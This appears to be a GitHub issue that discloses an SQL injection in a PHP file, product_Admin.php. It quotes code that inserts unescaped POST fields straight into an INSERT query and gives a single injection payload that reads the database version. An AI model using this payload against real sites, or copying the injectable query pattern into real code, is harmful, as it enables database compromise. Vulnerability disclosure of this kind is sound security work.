New issue

Jump to bottom

product_ Admin.php SQL injection #1

Open **shigophilo** opened this issue on Jun 9, 2021 · 0 comments

shigophilo commented on Jun 9, 2021

product_ Admin.php
There is SQL injection in line 23

```
$link=mysql_connect($host,$user,$pass);
mysql_select_db($db_name,$link);

//Если переменная Name передана
if (isset($_POST["Name"])) {
    //Тут идет запрос
    $sql = mysql_query("INSERT INTO `info` (`Name`, `Fname`, `ID`)
                        VALUES ('".$_POST['Name']."','".$_POST['Fname']."','".$_POST['ID']."')");
    //Успех
    if ($sql) {
        echo "<p>Ваши данные успешно добавлены.</p>";
    } else {
        echo "<p>Произошла ошибка.</p>";
    }
}
?>
```

Just submit the following post request

```
Name=aa',version(),4)#
```

search.php
post : query=a

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant